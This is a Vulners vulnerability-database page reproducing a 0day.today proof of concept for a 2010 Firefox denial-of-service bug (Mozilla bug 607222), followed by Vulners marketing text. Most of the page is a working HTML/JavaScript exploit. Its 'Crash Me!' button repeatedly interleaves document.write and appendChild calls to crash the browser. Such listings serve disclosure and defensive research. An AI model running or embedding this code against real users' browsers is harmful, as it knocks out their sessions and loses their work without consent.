Vulners
Lucene search
Firefox Interleaving document.write and appendChild Denial of Service
=====================================================================
Firefox Interleaving document.write and appendChild Denial of Service
=====================================================================
Source: https://bugzilla.mozilla.org/show_bug.cgi?id=607222
<html><body>
<script>
function getatts(str){
var cobj=document.createElement(str);
cobj.id="testcase";
document.body.appendChild(cobj);
var obj=document.getElementById("testcase");
var atts = new Array();
for(p in obj){
if(typeof(obj[p])=="string"){
atts.push(p);
}
}
document.body.removeChild(cobj);
return atts;
}
function crashme() {
var tags = new Array("audio", "a", "base");
for (inx = 0; inx < 0x8964; inx++) {
for (i = 0; i < tags.length; i++) {
var atts = getatts(tags[i]);
for (j = 0; j < atts.length; j++) {
var html = "<" + tags[i] + " " + atts[j] + "=a></" + tags[i] +
">" + tags[i];
document.write(html);
}
}
}
}
</script>
<button onclick="crashme();">Crash Me!</button>
</body></html>
# 0day.today [2018-04-01] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
29 Oct 2010 00:00Current
7High risk
Vulners AI Score7